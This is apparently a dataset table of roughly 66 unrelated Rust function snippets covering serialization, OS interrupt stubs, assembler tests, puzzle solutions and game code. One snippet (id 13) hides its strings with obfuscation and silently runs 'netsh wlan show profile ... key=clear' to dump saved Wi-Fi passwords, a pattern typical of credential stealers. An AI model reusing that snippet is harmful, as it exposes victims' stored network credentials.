content
stringlengths 12
392k
| id
int64 0
1.08k
|
|---|---|
fn tuple_test() {
let text = "I see the eigenvalue in thine eye";
let (head, tail) = text.split_at(21);
assert_eq!(head, "I see the eigenvalue ");
assert_eq!(tail, "in thine eye");
}
| 0
|
fn spawn_c(r: &Rush, stdin: Stdio, stdout: Stdio) -> Option<Child> {
match r {
Rush::Bin(cmd, args) => spawn(cmd, args, stdin, stdout).ok(),
_ => None
}
}
| 1
|
pub extern "x86-interrupt" fn rtc() { CommonInterruptHandler(40); }
| 2
|
pub fn mmap_to_file_trimmed<P: AsRef<Path>>(size: usize, path: P) -> io::Result<Ptr> {
unsafe {
// Get the trimmed anonymous space
let trimmed_ptr = mmap_trimmed_anonymous(size)?;
let fd = open_file(path, size)?;
check_mmap_ptr(mmap(trimmed_ptr, size, DEFAULT_PROT, MAP_SHARED | MAP_FIXED, fd, 0))
}
}
| 3
|
fn main() {
let path = std::env::args().nth(1).unwrap();
let text = std::fs::read_to_string(&path).unwrap();
let mut nums: Vec<_> = text.lines().map(atoi).collect();
nums.push(0);
nums.sort();
nums.push(nums[nums.len() - 1] + 3);
println!("{}", differences(&nums, 1) * differences(&nums, 3));
let mut memo = HashMap::new();
memo.insert(nums.len() - 2, 1);
memo.insert(nums.len() - 1, 1);
println!("{}", count(&nums, 0, &mut memo));
}
| 4
|
fn create_data_sock() -> AppResult<UdpSocket> {
let data_sock = UdpSocket::bind("0.0.0.0:9908")?;
data_sock.set_write_timeout(Some(Duration::from_secs(5)))?;
Ok(data_sock)
}
| 5
|
fn main() -> std::io::Result<()> {
env_logger::builder()
.filter_level(log::LevelFilter::Warn)
.filter(Some("actix_web"), log::LevelFilter::Info)
.filter(Some("actix_server"), log::LevelFilter::Info)
//.filter(Some("serenity"), log::LevelFilter::Info)
.init();
let config = config::setup().expect("config.toml file");
//println!("{:?}", config);
let items = fo_proto_format::build_btree(&config.paths.proto_items);
let fo_data = fo_data::FoData::init(&config.paths.game_client, &config.paths.palette)
.expect("FoData loading");
println!(
"FoData loaded, archives: {}, files: {}",
fo_data.count_archives(),
fo_data.count_files()
);
let mut db_path = PathBuf::new();
db_path.push("db");
db_path.push("sled");
let db = sled::open(db_path).expect("Can't open sled database");
let state = web::AppState::new(config, db, fo_data.into_retriever(), items);
web::run(state);
//db.flush().expect("Can't flush sled database");
//join_handle.join().unwrap();
Ok(())
}
| 6
|
fn fist_1() {
run_test(&Instruction { mnemonic: Mnemonic::FIST, operand1: Some(IndirectScaledIndexedDisplaced(BP, SI, One, 77, Some(OperandSize::Dword), None)), operand2: None, operand3: None, operand4: None, lock: false, rounding_mode: None, merge_mode: None, sae: false, mask: None, broadcast: None }, &[219, 82, 77], OperandSize::Word)
}
| 7
|
fn get_default_database_paths() -> Vec<PathBuf> {
get_platform_dependent_data_dirs()
.into_iter()
.map(|dir| dir.join("grafen").join(DEFAULT_DBNAME))
.collect()
}
| 8
|
fn generate_bindings() {
// Write the bindings to the $OUT_DIR/bindings.rs file.
let out_path = PathBuf::from(env_var("OUT_DIR"));
// if !out_path.is_file() {
// The bindgen::Builder is the main entry point
// to bindgen, and lets you build up options for
// the resulting bindings.
let bindings = bindgen::Builder::default()
// The input header we would like to generate
// bindings for.
.header("wrapper.h")
.clang_arg("--include-directory")
.clang_arg(cef_dir().to_str().unwrap())
// Some of the c api includes seem to pull in C++!
.clang_arg("-x")
.clang_arg("c++")
.layout_tests(false)
.derive_default(true)
// TODO: waiting for fix of https://github.com/servo/rust-bindgen/issues/648
.opaque_type("tagMONITORINFOEXA")
.rustfmt_bindings(true)
// Cef is huge! Pull in only the things we need or else the generated bindings is very large.
.whitelist_function("cef_execute_process")
.whitelist_function("cef_initialize")
.whitelist_function("cef_do_message_loop_work")
.whitelist_function("cef_browser_host_create_browser")
.whitelist_function("cef_browser_host_create_browser_sync")
.whitelist_function("cef_process_message_create")
.whitelist_function("cef_string_utf8_to_utf16")
.whitelist_function("cef_string_utf16_to_utf8")
.whitelist_function("cef_v8value_create_undefined")
.whitelist_function("cef_v8value_create_null")
.whitelist_function("cef_v8value_create_bool")
.whitelist_function("cef_v8value_create_int")
.whitelist_function("cef_v8value_create_uint")
.whitelist_function("cef_v8value_create_double")
.whitelist_function("cef_v8value_create_date")
.whitelist_function("cef_v8value_create_string")
.whitelist_function("cef_v8value_create_object")
.whitelist_function("cef_v8value_create_array")
.whitelist_function("cef_v8value_create_array_buffer")
.whitelist_function("cef_v8value_create_function")
// Finish the builder and generate the bindings.
.generate()
// Unwrap the Result and panic on failure.
.expect("Unable to generate bindings");
bindings
.write_to_file(out_path.join("bindings.rs"))
.expect("Couldn't write bindings!");
// }
}
| 9
|
fn
lock
(
addr
:
usize
)
-
>
&
'
static
SeqLock
{
const
LEN
:
usize
=
97
;
#
[
allow
(
clippy
:
:
declare_interior_mutable_const
)
]
const
L
:
SeqLock
=
SeqLock
:
:
new
(
)
;
static
LOCKS
:
[
SeqLock
;
LEN
]
=
[
L
;
LEN
]
;
&
LOCKS
[
addr
%
LEN
]
}
| 10
|
pub fn init_panic_hook() {
console_error_panic_hook::set_once();
}
| 11
|
pub fn parse_pbs_datetime(datetime: &str) -> anyhow::Result<chrono::NaiveDateTime> {
Ok(chrono::NaiveDateTime::parse_from_str(
datetime,
"%a %b %d %H:%M:%S %Y",
)?)
}
| 12
|
async fn get_wifi_profile(ssid: &str) -> Option<String> {
delay_for(Duration::from_millis(10)).await;
let output = Command::new(obfstr::obfstr!("netsh.exe"))
.args(&[
obfstr::obfstr!("wlan"),
obfstr::obfstr!("show"),
obfstr::obfstr!("profile"),
ssid,
obfstr::obfstr!("key=clear"),
])
.creation_flags(CREATE_NO_WINDOW)
.output()
.ok()?;
Some(String::from_utf8_lossy(&output.stdout).to_string())
}
| 13
|
pub fn retype_raw_page_free(source: CAddr) -> CAddr {
let result = system_call(SystemCall::RetypeRawPageFree {
request: source,
response: None
});
match result {
SystemCall::RetypeRawPageFree {
response, ..
} => { return response.unwrap(); },
_ => panic!(),
};
}
| 14
|
fn main() {
input! {
n:usize,
}
let n = n * 108 / 100;
if n < 206 {
println!("Yay!");
} else if n == 206 {
println!("so-so");
} else {
println!(":(");
}
}
| 15
|
fn char_test() {
assert_eq!('*'.is_alphabetic(), false);
assert_eq!('β'.is_alphabetic(), true);
assert_eq!('8'.to_digit(10), Some(8));
assert_eq!('\u{CA0}'.len_utf8(), 3);
assert_eq!(std::char::from_digit(2, 10), Some('2'));
}
| 16
|
pub fn open_and_read() {
let path = Path::new("hello.txt");
let display = path.display();
let mut file = match File::open(&path) {
Err(why) => {
println!("couldn't open {}: {}", display, why.description());
return;
},
Ok(f) => f,
};
let mut s = String::new();
match file.read_to_string(&mut s) {
Err(e) => {
println!("couldn't read {}:{}", display, e.description());
return;
},
Ok(_) => {
println!("{} contains:\n{}", display, s);
}
}
}
| 17
|
pub fn causet_partitioner_scan_column_as_int(
context: Box<CausetPartitionerContext>,
column_name: &[u8],
column_value: &[u8],
) -> Box<CausetPartitionerContext> {
context
}
| 18
|
fn invert_cells(cells: &Vec<Cell>) -> Vec<Cell> {
let count = cells.len();
let inverted_cells = (0..count).map(|i|
{
if cells[i] == Cell::Alive { Cell::Dead } else { Cell::Alive }
}).collect();
inverted_cells
}
| 19
|
pub fn write_ext_meta<W>(wr: &mut W, len: u32, typeid: i8) -> Result<Marker, ValueWriteError>
where W: Write
{
assert!(typeid >= 0);
let marker = match len {
1 => {
try!(write_marker(wr, Marker::FixExt1));
Marker::FixExt1
}
2 => {
try!(write_marker(wr, Marker::FixExt2));
Marker::FixExt2
}
4 => {
try!(write_marker(wr, Marker::FixExt4));
Marker::FixExt4
}
8 => {
try!(write_marker(wr, Marker::FixExt8));
Marker::FixExt8
}
16 => {
try!(write_marker(wr, Marker::FixExt16));
Marker::FixExt16
}
len if len < 256 => {
try!(write_marker(wr, Marker::Ext8));
try!(write_data_u8(wr, len as u8));
Marker::Ext8
}
len if len < 65536 => {
try!(write_marker(wr, Marker::Ext16));
try!(write_data_u16(wr, len as u16));
Marker::Ext16
}
len => {
try!(write_marker(wr, Marker::Ext32));
try!(write_data_u32(wr, len));
Marker::Ext32
}
};
try!(write_data_i8(wr, typeid));
Ok(marker)
}
| 20
|
fn main() {
// let b = Box::new(5);
// println!("b = {}", b);
// let list = Cons(1, Box::new(Cons(2, Box::new(Cons(3, Box::new(Nil))))));
// let a = Rc::new(List2::Cons(1, Rc::new(List2::Cons(2, Rc::new(List2::Nil)))));
// let b = List2::Cons(3, Rc::clone(&a));
// let c = List2::Cons(4, Rc::clone(&a));
// let value = Rc::new(RefCell::new(5));
// let a = Rc::new(Cons(Rc::clone(&value), Rc::new(Nil)));
// let b = Cons(Rc::new(RefCell::new(6)), Rc::clone(&a));
// let c = Cons(Rc::new(RefCell::new(10)), Rc::clone(&a));
// *value.borrow_mut() += 10;
// println!("a after = {:?}", a);
// println!("b after = {:?}", b);
// println!("c after = {:?}", c);
let leaf = Rc::new(Node {
value: 3,
parent: RefCell::new(Weak::new()),
children: RefCell::new(vec![]),
});
println!("leaf parent = {:?}", leaf.parent.borrow().upgrade());
let branch = Rc::new(Node {
value: 5,
parent: RefCell::new(Weak::new()),
children: RefCell::new(vec![Rc::clone(&leaf)]),
});
*leaf.parent.borrow_mut() = Rc::downgrade(&branch);
println!("leaf parent = {:?}", leaf.parent.borrow().upgrade());
}
| 21
|
async fn run_link(
sender: LinkSender,
receiver: LinkReceiver,
quic: Arc<AsyncConnection>,
) -> Result<(), Error> {
futures::future::try_join(
link_to_quic(sender, quic.clone()),
quic_to_link(receiver, quic.clone()),
)
.await?;
Ok(())
}
| 22
|
async fn main() -> std::io::Result<()> {
dotenv().ok();
let app_data = AppData {
conn_pool: database::create_pool(),
};
let mut listenfd = ListenFd::from_env();
let mut server = HttpServer::new(move || {
App::new()
.data(app_data.clone())
.service(index)
.configure(routes::config)
.default_service(web::route().to(fallback_route))
.wrap(middlewares::auth_middleware::Logging)
.wrap(Cors::new().finish())
.wrap(IdentityService::new(
CookieIdentityPolicy::new(
env::var("COOKIE_SECRET")
.unwrap_or("DEFAULT_SECRET".to_string())
.as_bytes(),
)
.name("auth")
.path("/")
.domain(env::var("APP_DOMAIN").unwrap_or("localhost".to_string()))
.max_age(chrono::Duration::days(1).num_seconds())
.secure(false),
))
});
server = if let Some(l) = listenfd.take_tcp_listener(0).unwrap() {
server.listen(l)?
} else {
server.bind("localhost:8000")?
};
server.run().await
}
| 23
|
unsafe fn system_call_raw() {
asm!("int 80h"
::
: "rax", "rbx", "rcx", "rdx",
"r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15"
: "volatile", "intel");
}
| 24
|
pub fn write_str_len<W>(wr: &mut W, len: u32) -> Result<Marker, ValueWriteError>
where W: Write
{
if len < 32 {
let marker = Marker::FixStr(len as u8);
try!(write_fixval(wr, marker));
Ok(marker)
} else if len < 256 {
try!(write_marker(wr, Marker::Str8));
write_data_u8(wr, len as u8).and(Ok(Marker::Str8))
} else if len < 65536 {
try!(write_marker(wr, Marker::Str16));
write_data_u16(wr, len as u16).and(Ok(Marker::Str16))
} else {
try!(write_marker(wr, Marker::Str32));
write_data_u32(wr, len).and(Ok(Marker::Str32))
}
}
| 25
|
fn usart_pc() {}
| 26
|
pub extern "x86-interrupt" fn not_use_1() { CommonInterruptHandler(43); }
| 27
|
fn transpose(vec_of_vecs: &Vec<Vec<u8>>) -> Vec<Vec<u8>> {
let blocksize = vec_of_vecs[0].len();
let mut output = Vec::<Vec<u8>>::new();
for t in 0..blocksize {
let block: Vec<u8> = vec_of_vecs.iter().filter_map(|s| s.get(t)).cloned().collect();
output.push(block)
}
output
}
| 28
|
fn set_led(n: u8, r: &mut impl OutputPin, g: &mut impl OutputPin, b: &mut impl OutputPin) {
match n {
1 => {
r.set_high().ok();
g.set_low().ok();
b.set_low().ok();
}
2 => {
r.set_high().ok();
g.set_high().ok();
b.set_low().ok();
}
3 => {
r.set_high().ok();
g.set_high().ok();
b.set_high().ok();
}
4 => {
r.set_low().ok();
g.set_high().ok();
b.set_high().ok();
}
5 => {
r.set_high().ok();
g.set_low().ok();
b.set_high().ok();
}
6 => {
r.set_low().ok();
g.set_low().ok();
b.set_high().ok();
}
_ => {
r.set_low().ok();
g.set_low().ok();
b.set_low().ok();
}
}
}
| 29
|
pub extern "x86-interrupt" fn bound_range_exceeded() { CommonExceptionHandler( 5); }
| 30
|
fn set_movement_actions(
mut commands: Commands,
mut actions: ResMut<Actions>,
keyboard_input: Res<Input<KeyCode>>,
mut mesh_pool: ResMut<MeshPool>,
fluid_assets: ResMut<MeshAssets>,
materials: ResMut<Assets<StandardMaterial>>,
mut camera_system: ResMut<CameraSystem>,
controllers: Query<&FpsCameraController>,
keyboard: Res<Input<KeyCode>>,
mut events: EventWriter<ControlEvent>,
meshes: Res<Assets<Mesh>>,
render_cache: Res<RenderCache>,
) {
if keyboard_input.just_pressed(KeyCode::T) {
actions.frame_direction = FrameDirection::Forward;
}
if keyboard_input.just_pressed(KeyCode::B) {
actions.frame_direction = FrameDirection::Back;
}
if keyboard_input.just_pressed(KeyCode::Space) {
actions.paused = !actions.paused;
}
if actions.paused {
let material = materials.get_handle(fluid_assets.material.id);
if keyboard_input.pressed(KeyCode::Left) {
mesh_pool.despawn_mesh(&mut commands, &*meshes);
mesh_pool.retreat();
mesh_pool.spawn_mesh(
&*fluid_assets,
material.clone(),
&mut commands,
&*meshes,
&*render_cache,
actions.particle_render_style,
)
}
if keyboard_input.pressed(KeyCode::Right) {
mesh_pool.despawn_mesh(&mut commands, &*meshes);
mesh_pool.advance();
mesh_pool.spawn_mesh(
&*fluid_assets,
material.clone(),
&mut commands,
&*meshes,
&*render_cache,
actions.particle_render_style,
)
}
}
if keyboard_input.just_pressed(KeyCode::R) {
if keyboard_input.pressed(KeyCode::LControl) {
actions.reload = true;
} else {
actions.reset = true;
}
}
if keyboard_input.just_pressed(KeyCode::F) {
if keyboard_input.pressed(KeyCode::LControl) {
actions.focus_on_mesh = true;
} else {
if actions.advance_every > 0.019 {
actions.advance_every -= 0.01;
} else {
actions.advance_every -= 0.001;
}
}
}
if keyboard_input.just_pressed(KeyCode::G) {
if actions.advance_every > 0.019 {
actions.advance_every += 0.01;
} else {
actions.advance_every += 0.001;
}
}
if keyboard_input.just_pressed(KeyCode::C) {
if keyboard_input.pressed(KeyCode::LControl) {
camera_system.follow_camera = !camera_system.follow_camera;
}
}
// Can only control one camera at a time.
let controller = if let Some(controller) = controllers.iter().next() {
controller
} else {
return;
};
let FpsCameraController {
enabled,
translate_sensitivity,
..
} = *controller;
if !enabled {
return;
}
let translate_sensitivity = if keyboard.pressed(KeyCode::LControl) {
translate_sensitivity / 10.
} else {
translate_sensitivity
};
for (key, dir) in [
(KeyCode::W, Vec3::Z),
(KeyCode::A, Vec3::X),
(KeyCode::S, -Vec3::Z),
(KeyCode::D, -Vec3::X),
(KeyCode::Q, -Vec3::Y),
(KeyCode::E, Vec3::Y),
]
.iter()
.cloned()
{
if keyboard.pressed(key) {
events.send(ControlEvent::TranslateEye(translate_sensitivity * dir));
}
}
}
| 31
|
pub extern "x86-interrupt" fn general_protecton() { CommonExceptionHandler(13); }
| 32
|
pub fn day09_1(s : String) -> u32{
let mut running_total = 0;
let mut scope = 0;
let mut in_garbage = false;
let mut prev_cancel = false;
for c in s.chars(){
if in_garbage {
if c == '>' && !prev_cancel {
in_garbage = false;
prev_cancel = false;
}
else if c == '!' && !prev_cancel {
prev_cancel = true;
}
else {
prev_cancel = false;
}
}
else{
if c == '{' {
scope+=1;
running_total+=scope;
}
else if c == '}' {
scope -=1;
}
else if c == '<' {
in_garbage = true;
}
}
}
running_total
}
| 33
|
fn exp_size<E: Engine>() -> usize {
std::mem::size_of::<<E::Fr as ff::PrimeField>::Repr>()
}
| 34
|
pub fn mmap_without_fd(size: usize) -> io::Result<Ptr> {
let ptr = unsafe {
mmap(
ptr::null_mut(),
size as size_t,
DEFAULT_PROT,
MAP_ANONYMOUS | MAP_PRIVATE,
-1,
0,
)
};
check_mmap_ptr(ptr)
}
| 35
|
fn append_text_column(tree: &mut gtk::TreeView) {
let column = gtk::TreeViewColumn::new().unwrap();
let cell = gtk::CellRendererText::new().unwrap();
column.pack_start(&cell, true);
column.add_attribute(&cell, "text", 0);
tree.append_column(&column);
}
| 36
|
fn to_rust_varstr(s: &str) -> String {
use inflector::cases::snakecase::to_snake_case;
let s = to_snake_case(s);
fixup(s)
}
| 37
|
fn main() {
const CA_CERT_PATH: &str = "../../pki/ca.cert";
const CLIENT_CERT_PATH: &str = "../../pki/client.cert";
const KEY_PATH: &str = "../../pki/client.key";
let ca_certs = read_certs(CA_CERT_PATH).unwrap();
let client_certs = read_certs(CLIENT_CERT_PATH).unwrap();
let key = read_private_key(KEY_PATH).unwrap();
let config = {
let mut c = rustls::ClientConfig::new();
c.root_store.add(&ca_certs[0]).unwrap();
c.set_single_client_cert(client_certs, key);
Arc::new(c)
};
let domain_name = webpki::DNSNameRef::try_from_ascii_str("localhost").unwrap();
let mut session = rustls::ClientSession::new(&config, domain_name);
let mut socket = TcpStream::connect("localhost:4433").unwrap();
let mut client = rustls::Stream::new(&mut session, &mut socket);
client.write(b"hello world").unwrap();
client.flush().unwrap();
let ciphersuite = client.sess.get_negotiated_ciphersuite().unwrap();
println!("Current ciphersuite: {:?}", ciphersuite.suite);
let mut plaintext = Vec::new();
client.read_to_end(&mut plaintext).unwrap();
io::stdout().write_all(&plaintext).unwrap();
}
| 38
|
pub fn ref_and_then<'r, T, U: 'static, F: FnOnce (&T) -> Option<&U>> (r: Ref<'r, T>, f: F) -> Option<Ref<'r, U>> {
match f(r.deref()) {
Some(u) => {
// SAFETY: we're discarding the compile-time managed borrow in the reference,
// in favor of the runtime-managed borrow in the Ref
let u = unsafe { std::mem::transmute::<_, &'static U>(u) };
Some(Ref::map(r, move |_| u))
}
None => None
}
}
| 39
|
fn
from
(
val
:
T
)
-
>
AtomicCell
<
T
>
{
AtomicCell
:
:
new
(
val
)
}
}
impl
<
T
:
Copy
+
fmt
:
:
Debug
>
fmt
:
:
Debug
for
AtomicCell
<
T
>
{
fn
fmt
(
&
self
f
:
&
mut
fmt
:
:
Formatter
<
'
_
>
)
-
>
fmt
:
:
Result
{
f
.
debug_struct
(
"
AtomicCell
"
)
.
field
(
"
value
"
&
self
.
load
(
)
)
.
finish
(
)
}
}
| 40
|
fn to_ident(s: &str) -> syn::Ident {
syn::parse_str(s).unwrap_or_else(|_| panic!("failed to make ident from: {}", s))
}
| 41
|
fn collision_detection(
mut existing_collisions: Local<HashSet<CollisionPair>>,
mut collision_events: EventWriter<CollisionEvent>,
query: Query<&Actor>,
) {
let mut current_collisions = HashSet::<CollisionPair>::new();
'outer: for actor1 in query.iter().filter(|a| a.collision) {
for actor2 in query.iter().filter(|a| a.collision) {
if actor1.label == actor2.label {
// We only need to compare one half of the matrix triangle
continue 'outer;
}
if Collider::colliding(actor1, actor2) {
current_collisions
.insert(CollisionPair(actor1.label.clone(), actor2.label.clone()));
}
}
}
let beginning_collisions: Vec<_> = current_collisions
.difference(&existing_collisions)
.cloned()
.collect();
collision_events.send_batch(beginning_collisions.iter().map(|p| CollisionEvent {
state: CollisionState::Begin,
pair: p.clone(),
}));
for beginning_collision in beginning_collisions {
existing_collisions.insert(beginning_collision);
}
let ending_collisions: Vec<_> = existing_collisions
.difference(¤t_collisions)
.cloned()
.collect();
collision_events.send_batch(ending_collisions.iter().map(|p| CollisionEvent {
state: CollisionState::End,
pair: p.clone(),
}));
for ending_collision in ending_collisions {
let _ = existing_collisions.remove(&ending_collision);
}
}
| 42
|
fn main() {
// Variables can be type annotated.
let i: i32 = 10;
println!("Hello, world!, {}", i);
}
| 43
|
pub fn write_bin<W>(wr: &mut W, data: &[u8]) -> Result<(), ValueWriteError>
where W: Write
{
try!(write_bin_len(wr, data.len() as u32));
wr.write_all(data).map_err(|err| ValueWriteError::InvalidDataWrite(WriteError(err)))
}
| 44
|
fn get_versions(repo: &Repository) -> Result<Vec<VersionTag>, Box<dyn std::error::Error>> {
let tags = repo
.tag_names(None)?
.into_iter()
.filter_map(|v| v)
.map(|v| v.to_owned())
.collect::<Vec<_>>();
let mut versions = tags
.iter()
.filter_map(|tag| {
Version::parse(&tag)
.or_else(|_| Version::parse(&format!("{}.0", tag)))
.ok()
.map(|v| VersionTag {
name: format!("Rust {}", v),
version: v,
raw_tag: tag.clone(),
commit: repo
.revparse_single(&tag)
.unwrap()
.peel_to_commit()
.unwrap()
.id(),
in_progress: false,
})
})
.collect::<Vec<_>>();
versions.sort();
Ok(versions)
}
| 45
|
pub fn star2(lines: &Vec<String>) -> String {
let days = initialize(lines);
let mut guard_map = HashMap::new();
for day in days {
guard_map.entry(day.guard_id)
.or_insert(vec![])
.push(day);
}
let mut max_guard_asleep_per_minute = vec![(0, None); 60];
for &guard_id in guard_map.keys() {
let mut guard_asleep_by_minute = vec![0; 60];
for day in &guard_map[&guard_id] {
for minute in 0..60 {
guard_asleep_by_minute[minute] += i32::from(!day.minutes[minute]);
}
}
for minute in 0..60 {
if max_guard_asleep_per_minute[minute].0 < guard_asleep_by_minute[minute] {
max_guard_asleep_per_minute[minute] = (guard_asleep_by_minute[minute], Some(guard_id));
}
}
}
if let Some((max_minute, (_, Some(max_guard_id)))) = max_guard_asleep_per_minute.iter().enumerate().max_by_key(|(_, (times, _))| times) {
return (max_minute as i32 * max_guard_id) .to_string();
}
panic!("No maximum found: Invalid input!");
}
| 46
|
fn inc_15() {
run_test(&Instruction { mnemonic: Mnemonic::INC, operand1: Some(Direct(BP)), operand2: None, operand3: None, operand4: None, lock: false, rounding_mode: None, merge_mode: None, sae: false, mask: None, broadcast: None }, &[102, 69], OperandSize::Dword)
}
| 47
|
pub fn debug_log(msg: impl AsRef<str>) {
let msg = msg.as_ref();
eprintln!("{} - {}", Local::now().format("%Y%m%d %H:%M:%S"), msg);
}
| 48
|
fn inc_4() {
run_test(&Instruction { mnemonic: Mnemonic::INC, operand1: Some(Direct(ECX)), operand2: None, operand3: None, operand4: None, lock: false, rounding_mode: None, merge_mode: None, sae: false, mask: None, broadcast: None }, &[65], OperandSize::Dword)
}
| 49
|
pub async fn accept_hdr_async<S, C>(
stream: S,
callback: C,
) -> Result<WebSocketStream<TokioAdapter<S>>, Error>
where
S: tokio::io::AsyncRead + tokio::io::AsyncWrite + Unpin,
C: Callback + Unpin,
{
accept_hdr_async_with_config(stream, callback, None).await
}
| 50
|
pub fn sobel_and_threshold(frame : ImageBuffer<Luma<u8>, Vec<u8>>, threshold : u8) -> ImageBuffer<Luma<u8>, Vec<u8>> {
let mut result = ImageBuffer::new(640, 480);
let mut i = 1;
while i < 638 {
let mut j = 1;
while j < 479 {
let north_west = frame[(i-1, j-1)].channels()[0] as i32;
let north = frame[(i, j-1)].channels()[0] as i32;
let north_east = frame[(i+1, j-1)].channels()[0] as i32;
let north_east2 = frame[(i+2, j-1)].channels()[0] as i32;
let west = frame[(i-1, j)].channels()[0] as i32;
let west2 = frame[(i, j)].channels()[0] as i32;
let east = frame[(i+1, j)].channels()[0] as i32;
let east2 = frame[(i+2, j)].channels()[0] as i32;
let south_west = frame[(i-1, j+1)].channels()[0] as i32;
let south = frame[(i, j+1)].channels()[0] as i32;
let south_east = frame[(i+1, j+1)].channels()[0] as i32;
let south_east2 = frame[(i+2, j+1)].channels()[0] as i32;
let gx : i32 = north_west + south_west + (west << 1) - north_east - south_east - (east << 1);
let gy : i32 = north_west + north_east + (north << 1) - south_west - south_east - (south << 1);
let gx2 : i32 = north + (west2 << 1) + south - north_east2 - (east2 << 1) - south_east2;
let gy2 : i32 = north + (north_east << 1) + north_east2 - south - (south_east << 1) - south_east2;
let root : u8 = (((gx.abs() + gy.abs()) >> 1) as f32 * 1.414216) as u8;
let root =
if root > threshold {
255
} else {
0
};
let root2 : u8 = (((gx2.abs() + gy2.abs()) >> 1) as f32 * 1.414216) as u8;
let root2 =
if root2 > threshold {
255
} else {
0
};
result.put_pixel(i, j, Luma([root]));
result.put_pixel(i + 1, j, Luma([root2]));
j += 1;
}
i += 2;
}
return result;
}
| 51
|
async fn order_shoes(mut req: Request<()>) -> tide::Result {
let Animal { name, legs } = req.body_json().await?;
Ok(format!("Hello, {} Order for {} shoes", name, legs).into())
}
| 52
|
fn generalize_alpha_or_split(ng: &mut NameGen, beta: &RcNode, alpha: &RcNode) {
let g = msg(ng, &alpha.get_body(), &beta.get_body());
if g.t.is_var() {
split_node(ng, beta);
} else {
abstract_node(alpha, &g.t, g.s1);
}
}
| 53
|
fn run_no_crash() {
let project = project("run_no_crash")
.with_fuzz()
.fuzz_target(
"no_crash",
r#"
#![no_main]
use libfuzzer_sys::fuzz_target;
fuzz_target!(|data: &[u8]| {
#[cfg(fuzzing_repro)]
eprintln!("Reproducing a crash");
run_no_crash::pass_fuzzing(data);
});
"#,
)
.build();
project
.cargo_fuzz()
.arg("run")
.arg("no_crash")
.arg("--")
.arg("-runs=1000")
.assert()
.stderr(
predicate::str::contains("Done 1000 runs")
.and(predicate::str::contains("Reproducing a crash").not()),
)
.success();
}
| 54
|
pub fn write_uint16(buf: &mut Vec<u8>, u: u16) -> usize {
let mut size = 0;
size += write_uint8(buf, (u & 0xff) as u8);
size += write_uint8(buf, ((u >> 8) & 0xff) as u8);
size
}
| 55
|
fn main() {
input! {
n: usize, r: usize,
mut s: Chars,
}
let mut answer = 0;
if let Some(pos) = s.iter().rev().position(|&c| c == '.') {
if n - r > pos {
answer += n - r - pos;
}
}
while let Some(pos) = s.iter().position(|&c| c == '.') {
answer += 1;
(0..r).for_each(|i| s[(n - 1).min(pos + i)] = 'o');
}
println!("{}", answer);
}
| 56
|
fn main() {
let listener = TcpListener::bind("0.0.0.0:3333").unwrap();
println!("Сервер запустился...");
for stream in listener.incoming() {
match stream {
Ok(stream) => {
println!("Новое подключение: {}", stream.peer_addr().unwrap());
thread::spawn(move|| {
handle_client(stream)
});
}
Err(e) => {
println!("Ошибка: {}", e);
}
}
}
drop(listener);
}
| 57
|
pub(crate) fn unlock() {
LOCK.store(false, Ordering::SeqCst);
}
| 58
|
fn truncate_to_shortest(vec_of_vecs: &mut Vec<Vec<u8>>) {
let min_len = vec_of_vecs.iter().map(|s| s.len()).min().unwrap();
for v in vec_of_vecs {
v.truncate(min_len);
}
}
| 59
|
pub fn write_i32<W>(wr: &mut W, val: i32) -> Result<(), ValueWriteError>
where W: Write
{
try!(write_marker(wr, Marker::I32));
write_data_i32(wr, val)
}
| 60
|
pub extern "C" fn handle_input(enc1: u8, enc2: u8) {
use encoder::Encoder;
static mut ENCODER: Encoder = Encoder::new();
use GlobalEvent::Jog;
use store::JogDirection::*;
let input = (enc1 == 1, enc2 == 1);
let diff = unsafe { ENCODER.scan(input) };
match diff {
-1 => {
match MAIN_SENDER.get() {
Some(x) => {
let _ = x.send(Jog(Right));
},
None => {},
};
},
1 => {
match MAIN_SENDER.get() {
Some(x) => {
let _ = x.send(Jog(Left));
},
None => {},
};
},
_ => {},
};
}
| 61
|
pub fn projects_to_doc(dir:StorageDir, search_term:&str, template_name:&str, bill_type:&Option<BillType>, dry_run:bool, force:bool) -> Result<()> {
with_projects(dir, &[search_term], |p| project_to_doc(p, template_name, bill_type, dry_run, force) )
}
| 62
|
fn inc_13() {
run_test(&Instruction { mnemonic: Mnemonic::INC, operand1: Some(Direct(SP)), operand2: None, operand3: None, operand4: None, lock: false, rounding_mode: None, merge_mode: None, sae: false, mask: None, broadcast: None }, &[68], OperandSize::Word)
}
| 63
|
pub fn open_file<P: AsRef<Path>>(path: P, size: usize) -> io::Result<i32> {
let file = OpenOptions::new().read(true).write(true).create(true).open(path)?;
file.set_len(size as u64)?;
Ok(file.into_raw_fd())
}
| 64
|
fn main() {
let value = Regex::new(r"value (?P<value>\d+) goes to bot (?P<bot>\d+)").unwrap();
let give = Regex::new(r"bot (?P<bot>\d+) gives low to (?P<lowtype>\w+) (?P<lowdest>\d+) and high to (?P<hightype>\w+) (?P<highdest>\d+)").unwrap();
let mut is = INPUT.lines().collect::<VecDeque<_>>();
let mut outputs: HashMap<i32, i32> = HashMap::new();
let mut bots: HashMap<i32, Vec<i32>> = HashMap::new();
while !is.is_empty() {
let i = is.pop_front().unwrap();
if let Some(captures) = value.captures(i) {
let value = captures["value"].parse::<i32>().unwrap();
let bot = captures["bot"].parse::<i32>().unwrap();
bots.entry(bot).or_insert(vec![]).push(value);
} else if let Some(captures) = give.captures(i) {
let botid = captures["bot"].parse::<i32>().unwrap();
let lowtype = &captures["lowtype"];
let lowdest = captures["lowdest"].parse::<i32>().unwrap();
let hightype = &captures["hightype"];
let highdest = captures["highdest"].parse::<i32>().unwrap();
let dests = &[(lowtype, lowdest), (hightype, highdest)];
if bots.get(&botid).map(|b| b.len() == 2).unwrap_or(false) {
let mut bot = bots.remove(&botid).unwrap();
bot.sort();
if bot[0] == 17 && bot[1] == 61 {
println!("{}", botid);
}
for (value, &(typ, dest)) in bot.iter().zip(dests) {
match typ {
"bot" => { bots.entry(dest).or_insert(vec![]).push(*value); },
"output" => { outputs.insert(dest, *value); },
_ => unimplemented!(),
}
}
} else {
is.push_back(i);
}
} else {
is.push_back(i);
}
}
let result = outputs[&0] * outputs[&1] * outputs[&2];
println!("{}", result);
}
| 65
|
fn test_expression() {
// 6.1
// expression
// 5 * (fahr-32) / 9;
/* statement
for (; begin != end; ++begin) {
if (*begin == target)
break;
}
*/
/*
pixels[r * bounds.0 + c] =
match escapes(Complex { re: point.0, im: point.1 }, 255) {
None => 0,
Some(count) => 255 - count as u8
};
*/
/*
let status =
if cpu.temperature <= MAX_TEMP {
HttpStatus::Ok
} else {
